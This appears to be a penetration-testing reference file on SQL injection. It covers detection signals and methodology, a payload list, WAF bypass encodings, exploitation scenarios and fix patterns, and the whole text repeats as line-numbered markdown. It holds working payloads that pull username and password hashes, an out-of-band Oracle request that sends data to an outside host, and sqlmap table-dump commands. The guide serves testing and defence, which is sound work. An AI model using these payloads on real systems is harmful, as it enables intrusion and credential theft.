SQL Injection
What Is Broken and Why
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.
Key Signals
- Single quote
' or semicolon ; in a parameter returns a database error or anomalous response
AND 1=1 returns normal content; AND 1=2 returns empty/different content
- Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
ORDER BY N-- incrementing until an error reveals column count
- Delayed response to
SLEEP(5) or WAITFOR DELAY '0:0:5'
- Application encodes or strips
' but not -- or /**/
Methodology
- Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
- Submit
', ", ;, --, /* */ individually and observe response differences (errors, blank pages, changed content).
- Confirm with boolean pair: append
AND 1=1-- (true) vs AND 1=2-- (false).
- Determine column count with
ORDER BY 1--, incrementing until error.
- Find injectable columns with
UNION SELECT null,null,...-- substituting null with 1 or 'a' to locate string columns.
- Extract data:
UNION SELECT table_name,null FROM information_schema.tables--
- For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
- For error-based (Oracle): use
UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)).
- Test stacked queries where supported:
; INSERT INTO ....
- Escalate to OS interaction if database user has sufficient privileges.
Payloads & Tools
# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--
# Column count
TARGET/page?id=10 ORDER BY 5--
# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--
# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--
# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--
# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--
# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--
# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2
Bypass Techniques
- Whitespace substitution:
OR/**/1=1, OR\n1=1, OR\t1=1
- Comment fragmentation:
UN/**/ION/**/SE/**/LECT
- Null byte prefix:
%00' UNION SELECT ...
- URL encoding:
%27 for ', %20 for space, %2D%2D for --
- Double URL encoding:
%2527 → %27 → '
- Hex encoding:
SELECT user FROM users WHERE name=unhex('61646d696e')
char() encoding: char(97,100,109,105,110) = "admin"
- Case variation:
SeLeCt, uNiOn
- MSSQL string concat:
EXEC('SEL'+'ECT 1')
- Alternative boolean expressions:
OR 'x'='x', OR 2>1, 1||1=1, 1&&1=1, OR 2 BETWEEN 1 AND 3
- HTTP Parameter Pollution: split payload across duplicate parameters
Exploitation Scenarios
Scenario 1 — Authentication Bypass
Setup: Login form passes username/password directly into SELECT * FROM users WHERE user='$u' AND pass='$p'.
Trigger: Submit username admin'-- with any password. Query becomes WHERE user='admin'--' AND pass='...', commenting out the password check.
Impact: Full admin account access without valid credentials.
Scenario 2 — Data Exfiltration via UNION
Setup: Product search page reflects one database field; column count is 3; column 2 is a string.
Trigger: TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
Impact: All username/password hashes returned in the product name field.
Scenario 3 — Blind Time-Based Credential Extraction
Setup: No visible output; application returns 200 for all responses.
Trigger: TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- — iterate characters observing latency.
Impact: Full password hash extraction character by character.
False Positives
- Apostrophes in legitimate product names causing syntax errors unrelated to injection
- Slow queries caused by missing indexes, not SLEEP payloads
- Generic 500 errors on all invalid input (not SQL-specific)
- WAF-generated error pages that mimic database errors
Fix Patterns
- Parameterized queries / prepared statements in all database interactions:
SELECT * FROM users WHERE id = ?
- ORM usage with no raw string interpolation
- Stored procedures with typed parameters (not dynamic SQL within the procedure)
- Input validation as defense-in-depth (not sole protection)
- Least-privilege database accounts (no xp_cmdshell, no FILE privilege)
- Disable detailed database error messages in production
Related Skills
[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (LOAD_FILE), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.
1---2name: sql-injection3description: SQL injection occurs when untrusted user input is interpolated directly into database queries, allowing attackers to alter query logic. Detect via single-quote errors, boolean-based blind responses (AND 1=1 vs AND 1=2), time-delay payloads (SLEEP, WAITFOR), UNION column enumeration, and error messages from MySQL, Oracle, MSSQL, PostgreSQL. Tools: sqlmap, sqlbftools, Burp Suite, wfuzz with SQLi fuzz strings.4license: MIT5---67# SQL Injection89## What Is Broken and Why10SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.1112## Key Signals13- Single quote `'` or semicolon `;` in a parameter returns a database error or anomalous response14- `AND 1=1` returns normal content; `AND 1=2` returns empty/different content15- Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax16- `ORDER BY N--` incrementing until an error reveals column count17- Delayed response to `SLEEP(5)` or `WAITFOR DELAY '0:0:5'`18- Application encodes or strips `'` but not `--` or `/**/`1920## Methodology211. Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).222. Submit `'`, `"`, `;`, `--`, `/* */` individually and observe response differences (errors, blank pages, changed content).233. Confirm with boolean pair: append `AND 1=1--` (true) vs `AND 1=2--` (false).244. Determine column count with `ORDER BY 1--`, incrementing until error.255. Find injectable columns with `UNION SELECT null,null,...--` substituting `null` with `1` or `'a'` to locate string columns.266. Extract data: `UNION SELECT table_name,null FROM information_schema.tables--`277. For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.288. For error-based (Oracle): use `UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))`.299. Test stacked queries where supported: `; INSERT INTO ...`.3010. Escalate to OS interaction if database user has sufficient privileges.3132## Payloads & Tools33```34# Boolean detection35TARGET/page?id=1 AND 1=1--36TARGET/page?id=1 AND 1=2--3738# Column count39TARGET/page?id=10 ORDER BY 5--4041# UNION extraction (3-column example)42TARGET/page?id=99999 UNION SELECT 1,version(),3--43TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--4445# Boolean blind character extraction46TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--4748# Time-based blind (MySQL)49TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--5051# Time-based blind (MSSQL)52TARGET/page?id=1; WAITFOR DELAY '0:0:5'--5354# Error-based (Oracle)55TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--5657# Out-of-band (Oracle)58TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--5960# sqlmap automation61sqlmap -u "TARGET/page?id=1" --dbs --batch62sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch63sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch64sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=265```6667## Bypass Techniques68- Whitespace substitution: `OR/**/1=1`, `OR\n1=1`, `OR\t1=1`69- Comment fragmentation: `UN/**/ION/**/SE/**/LECT`70- Null byte prefix: `%00' UNION SELECT ...`71- URL encoding: `%27` for `'`, `%20` for space, `%2D%2D` for `--`72- Double URL encoding: `%2527` → `%27` → `'`73- Hex encoding: `SELECT user FROM users WHERE name=unhex('61646d696e')`74- `char()` encoding: `char(97,100,109,105,110)` = "admin"75- Case variation: `SeLeCt`, `uNiOn`76- MSSQL string concat: `EXEC('SEL'+'ECT 1')`77- Alternative boolean expressions: `OR 'x'='x'`, `OR 2>1`, `1||1=1`, `1&&1=1`, `OR 2 BETWEEN 1 AND 3`78- HTTP Parameter Pollution: split payload across duplicate parameters7980## Exploitation Scenarios81**Scenario 1 — Authentication Bypass**82Setup: Login form passes username/password directly into `SELECT * FROM users WHERE user='$u' AND pass='$p'`.83Trigger: Submit username `admin'--` with any password. Query becomes `WHERE user='admin'--' AND pass='...'`, commenting out the password check.84Impact: Full admin account access without valid credentials.8586**Scenario 2 — Data Exfiltration via UNION**87Setup: Product search page reflects one database field; column count is 3; column 2 is a string.88Trigger: `TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--`89Impact: All username/password hashes returned in the product name field.9091**Scenario 3 — Blind Time-Based Credential Extraction**92Setup: No visible output; application returns 200 for all responses.93Trigger: `TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--` — iterate characters observing latency.94Impact: Full password hash extraction character by character.9596## False Positives97- Apostrophes in legitimate product names causing syntax errors unrelated to injection98- Slow queries caused by missing indexes, not SLEEP payloads99- Generic 500 errors on all invalid input (not SQL-specific)100- WAF-generated error pages that mimic database errors101102## Fix Patterns103- Parameterized queries / prepared statements in all database interactions: `SELECT * FROM users WHERE id = ?`104- ORM usage with no raw string interpolation105- Stored procedures with typed parameters (not dynamic SQL within the procedure)106- Input validation as defense-in-depth (not sole protection)107- Least-privilege database accounts (no xp_cmdshell, no FILE privilege)108- Disable detailed database error messages in production109110## Related Skills111112[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (`LOAD_FILE`), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.